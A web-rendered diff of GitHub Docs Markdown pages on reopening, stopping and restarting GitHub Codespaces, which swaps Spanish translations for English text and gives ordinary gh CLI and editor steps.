Puedes volver a abrir cualquiera de los codespaces activos o detenidos en el {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_vscode %} o mediante la {% data variables.product.prodname_cli %}. No se puede volver a abrir un codespace que se haya eliminado. Para obtener más información, consulta "[Ciclo de vida de los {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/codespaces-lifecycle)".
|
||||
|
||||
## Apertura de un codespace existente
|
||||
{% jetbrains %}
|
||||
|
||||
{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
|
||||
|
||||
{% endjetbrains %}
|
||||
|
||||
You can reopen any of your active or stopped codespaces on {% data variables.product.prodname_dotcom_the_website %}, in a JetBrains IDE, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. You can't reopen a codespace that has been deleted. For more information, see "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)."
|
||||
|
||||
You can view all your codespaces on the "Your codespaces" page at [github.com/codespaces](https://github.com/codespaces). From this page, you can:
|
||||
|
||||
- Open, stop, or delete your codespaces.
|
||||
- See who owns (and may be billed for) your codespaces: your personal account, or organizations you belong to. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
|
||||
- Create a new codespace, either by choosing one of {% data variables.product.company_short %}'s templates or by clicking **New codespace**. For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)" and "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)."
|
||||
|
||||
## Opening an existing codespace
|
||||
|
||||
{% webui %}
|
||||
|
||||
{% data reusables.codespaces.your-codespaces-procedure-step %}
|
||||
1. Para abrir un codespace en el editor predeterminado, haz clic en su nombre. {% data reusables.codespaces.about-changing-default-editor %} Para obtener más información, consulta "[Configuración del editor predeterminado para {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)".
|
||||
1. To open a codespace in your default editor, click the name of the codespace. {% data reusables.codespaces.about-changing-default-editor %} For more information, see "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)."
|
||||
|
||||
Para abrir el codespace en un editor distinto del predeterminado, selecciona los puntos suspensivos ( **...** ) situados a la derecha del codespace y haz clic en **Abrir en la APLICACIÓN**.
|
||||
To open the codespace in an editor other than your default:
|
||||
|
||||
1. Click the ellipsis (**...**) to the right of the codespace you want to open.
|
||||
1. Click **Open in**.
|
||||
1. Click **Open in APPLICATION**.
|
||||
|
||||
|
||||
|
||||
|
||||
You can open the codespace in:
|
||||
* Your browser
|
||||
* {% data variables.product.prodname_vscode %}
|
||||
* JetBrains Gateway
|
||||
* JupyterLab
|
||||
|
||||
{% data reusables.codespaces.application-installed-locally %}
|
||||
|
||||
If you choose **JupyterLab**, the JupyterLab application must be installed in the codespace. {% data reusables.codespaces.jupyterlab-in-default-image %}
|
||||
|
||||
{% endwebui %}
|
||||
|
||||
@@ -37,42 +57,67 @@ Puedes volver a abrir cualquiera de los codespaces activos o detenidos en el {%
|
||||
|
||||
{% note %}
|
||||
|
||||
**Nota**: {% data reusables.codespaces.using-codespaces-in-vscode %} Para obtener más información, consulta "[Uso de {% data variables.product.prodname_github_codespaces %} en {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)."
|
||||
**Note:** {% data reusables.codespaces.using-codespaces-in-vscode %} For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)."
|
||||
|
||||
{% endnote %}
|
||||
|
||||
1. En la aplicación de escritorio {% data variables.product.prodname_vscode_shortname %}, abre la paleta de comandos con <kbd>Comando</kbd>+<kbd>Mayús</kbd>+<kbd>P</kbd> (Mac) o <kbd>Ctrl</kbd>+<kbd>Mayús</kbd>+<kbd>P</kbd> (Windows/Linux).
|
||||
1. Escribe "Codespaces" y selecciona uno de los comandos siguientes.
|
||||
- Para abrir un codespace en una ventana nueva de {% data variables.product.prodname_vscode_shortname %}, selecciona **Codespaces: Abrir codespace en nueva ventana**.
|
||||
- Para abrir un codespace en el editor web, selecciona **Codespaces: Abrir en el explorador**.
|
||||
1. Haz clic en el codespace que quieras abrir.
|
||||
1. In the {% data variables.product.prodname_vscode_shortname %} desktop application, open the Command Palette with <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux).
|
||||
1. Type "Codespaces" and select one of the following commands.
|
||||
- To open a codespace in a new window of {% data variables.product.prodname_vscode_shortname %}, select **Codespaces: Open Codespace in New Window**
|
||||
- To open a codespace in the web editor, select **Codespaces: Open in Browser**
|
||||
1. Click the codespace that you want to open.
|
||||
|
||||
|
||||
|
||||
|
||||
También puedes acceder a los comandos enumerados anteriormente; para ello, ves a la vista Explorador remoto en {% data variables.product.prodname_vscode_shortname %} y haz clic con el botón derecho en el codespace que quieras abrir.
|
||||
You can also access the commands listed above by navigating to the Remote Explorer view in {% data variables.product.prodname_vscode_shortname %} and right-clicking the codespace that you want to open.
|
||||
|
||||
|
||||
|
||||
|
||||
{% data reusables.codespaces.remote-explorer %} {% endvscode %}
|
||||
{% data reusables.codespaces.remote-explorer %}
|
||||
{% endvscode %}
|
||||
|
||||
{% cli %}
|
||||
|
||||
1. En un terminal, escribe uno de los comandos de la {% data variables.product.prodname_cli %} siguientes.
|
||||
- Para abrir un codespace en {% data variables.product.prodname_vscode_shortname %}, escribe lo siguiente:
|
||||
1. In a terminal, enter one of the following {% data variables.product.prodname_cli %} commands.
|
||||
- To open a codespace in {% data variables.product.prodname_vscode_shortname %}, enter:
|
||||
|
||||
```shell{:copy}
|
||||
gh codespace code
|
||||
```
|
||||
|
||||
{% note %}
|
||||
|
||||
- Para abrir un codespace en el explorador, escribe lo siguiente:
|
||||
**Note**: You must have {% data variables.product.prodname_vscode_shortname %} installed on your local machine. For more information, see "[Setting up Visual Studio Code](https://code.visualstudio.com/docs/setup/setup-overview)" in the {% data variables.product.prodname_vscode_shortname %} documentation.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
- To open a codespace in the browser, enter:
|
||||
|
||||
```shell{:copy}
|
||||
gh codespace code --web
|
||||
```
|
||||
|
||||
1. Con las teclas de dirección, ves al codespace que quieres abrir.
|
||||
1. Para abrir el codespace, presiona <kbd>Entrar</kbd>.
|
||||
- To open a codespace in JupyterLab, enter:
|
||||
|
||||
```shell{:copy}
|
||||
gh codespace code --jupyter
|
||||
```
|
||||
|
||||
{% note %}
|
||||
|
||||
Para obtener más información, consulta [`gh codespace code`](https://cli.github.com/manual/gh_codespace_code) en el manual de la {% data variables.product.prodname_cli %}.
|
||||
**Note**: {% data reusables.codespaces.jupyterlab-installed-in-codespace %}
|
||||
|
||||
{% endnote %}
|
||||
|
||||
1. Using the arrow keys, navigate to the codespace that you want to open.
|
||||
1. To open the codespace, press <kbd>Enter</kbd>.
|
||||
|
||||
For more information, see [`gh codespace code`](https://cli.github.com/manual/gh_codespace_code) in the {% data variables.product.prodname_cli %} manual.
|
||||
|
||||
{% endcli %}
|
||||
|
||||
{% jetbrains %}
|
||||
|
||||
{% data reusables.codespaces.opening-codespace-in-jetbrains %}
|
||||
|
||||
{% endjetbrains %}
|
||||
@@ -1,7 +1,6 @@
|
||||
---
|
||||
title: Detención e inicio de un codespace
|
||||
intro: Puedes detener e iniciar el codespace para guardar recursos y pausar el trabajo.
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
title: Stopping and starting a codespace
|
||||
intro: 'You can stop and start your codespace to save resources and to pause work.'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
@@ -11,89 +10,102 @@ topics:
|
||||
- Fundamentals
|
||||
- Developer
|
||||
shortTitle: Stop a codespace
|
||||
ms.openlocfilehash: 82e547b62593a74bb201dddd4992f41417d686f9
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148110059'
|
||||
---
|
||||
## Acerca de la detención y el inicio de un codespace
|
||||
|
||||
{% jetbrains %}
|
||||
|
||||
{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
|
||||
|
||||
{% endjetbrains %}
|
||||
|
||||
## About stopping and starting a codespace
|
||||
|
||||
{% data reusables.codespaces.stopping-a-codespace %}
|
||||
|
||||
Independientemente de dónde hayas creado los codespaces o accedido a estos, puedes verlos y administrarlos en el explorador en https://github.com/codespaces.
|
||||
Regardless of where you created or access your codespaces, you can view and manage them in your browser at https://github.com/codespaces.
|
||||
|
||||
## Detener un codespace
|
||||
## Stopping a codespace
|
||||
|
||||
{% webui %}
|
||||
{% webui %}
|
||||
|
||||
{% data reusables.codespaces.navigate-to-codespaces-page %}
|
||||
1. Haz clic en los puntos suspensivos ( **…** ) situados a la derecha del codespace que quieras detener.
|
||||
1. Haz clic en **Detener codespace**.
|
||||
|
||||
1. To the right of the codespace you want to stop, click the elipsis (**...**).
|
||||
1. Click **Stop codespace**.
|
||||
|
||||
|
||||
{% endwebui %}
|
||||
{% endwebui %}
|
||||
|
||||
{% cli %}
|
||||
|
||||
{% cli %}
|
||||
{% data reusables.cli.cli-learn-more %}
|
||||
|
||||
{% data reusables.cli.cli-learn-more %}
|
||||
|
||||
Para detener un codespace, usa el subcomando `gh codespace stop` y, después, elige el codespace que quieras detener de la lista que se muestra.
|
||||
To stop a codespace use the `gh codespace stop` subcommand and then choose the codespace you want to stop from the list that's displayed.
|
||||
|
||||
```shell{:copy}
|
||||
gh codespace stop
|
||||
```
|
||||
|
||||
{% endcli %}
|
||||
{% endcli %}
|
||||
|
||||
|
||||
{% vscode %}
|
||||
{% vscode %}
|
||||
|
||||
{% data reusables.vs-code.open-command-palette %}
|
||||
1. Escribe `stop` y selecciona **Codespaces: Detención de un codespace** en la lista de opciones.
|
||||
1. En la lista de codespaces, selecciona el que quieras detener.
|
||||
1. Type `stop` and select **Codespaces: Stop Codespace** from the list of options.
|
||||
1. In the list of codespaces, select the codespace you want to stop.
|
||||
|
||||
{% endvscode %}
|
||||
{% endvscode %}
|
||||
|
||||
{% jetbrains %}
|
||||
|
||||
## Reinicio de un codespace
|
||||
{% data reusables.codespaces.jetbrains-open-codespace-plugin %}
|
||||
1. In the {% data variables.product.prodname_github_codespaces %} tool window, click the stop icon.
|
||||
|
||||
{% webui %}
|
||||
|
||||
|
||||
{% endjetbrains %}
|
||||
|
||||
## Restarting a codespace
|
||||
|
||||
{% webui %}
|
||||
|
||||
{% data reusables.codespaces.navigate-to-codespaces-page %}
|
||||
1. Haz clic en el nombre del codespace que quieras reiniciar.
|
||||
|
||||
1. Click the name of the codespace you want to restart.
|
||||
|
||||
|
||||
{% endwebui %}
|
||||
{% endwebui %}
|
||||
|
||||
{% cli %}
|
||||
{% cli %}
|
||||
|
||||
Al reiniciar un codespace, puedes elegir abrirlo en {% data variables.product.prodname_vscode %} o en el explorador.
|
||||
When you restart a codespace you can choose to open it in {% data variables.product.prodname_vscode %} or in your browser.
|
||||
|
||||
- Para reiniciar un codespace y abrirlo en {% data variables.product.prodname_vscode %}, usa el subcomando `gh codespace code` y, después, elige el codespace que quieras reiniciar en la lista que se muestra.
|
||||
- To restart a codespace and open it in {% data variables.product.prodname_vscode %}, use the `gh codespace code` subcommand and then choose the codespace you want to restart from the list that's displayed.
|
||||
|
||||
```shell{:copy}
|
||||
gh codespace code
|
||||
```
|
||||
|
||||
- Para reiniciar un codespace y abrirlo en el explorador, usa el subcomando `gh codespace open --web` y, después, elige el codespace que quieras reiniciar en la lista que se muestra.
|
||||
- To restart a codespace and open it in your browser, use the `gh codespace open --web` subcommand and then choose the codespace you want to restart from the list that's displayed.
|
||||
|
||||
```shell{:copy}
|
||||
gh codespace open --web
|
||||
```
|
||||
|
||||
{% endcli %}
|
||||
{% endcli %}
|
||||
|
||||
|
||||
{% vscode %}
|
||||
{% vscode %}
|
||||
|
||||
{% data reusables.vs-code.open-command-palette %}
|
||||
1. Escribe `connect` y selecciona **Codespaces: Conexión a un codespace** en la lista de opciones.
|
||||
1. En la lista de codespaces, selecciona el que quieras reiniciar.
|
||||
1. Type `connect` and select **Codespaces: Connect to Codespace** from the list of options.
|
||||
1. In the list of codespaces, select the codespace you want to restart.
|
||||
|
||||
{% endvscode %}
|
||||
{% endvscode %}
|
||||
|
||||
## Información adicional
|
||||
- "[Ciclo de vida de Codespaces](/codespaces/developing-in-codespaces/codespaces-lifecycle)"
|
||||
{% jetbrains %}
|
||||
|
||||
{% data reusables.codespaces.opening-codespace-in-jetbrains %}
|
||||
|
||||
{% endjetbrains %}
|
||||
|
||||
## Further reading
|
||||
|
||||
- "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)"
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user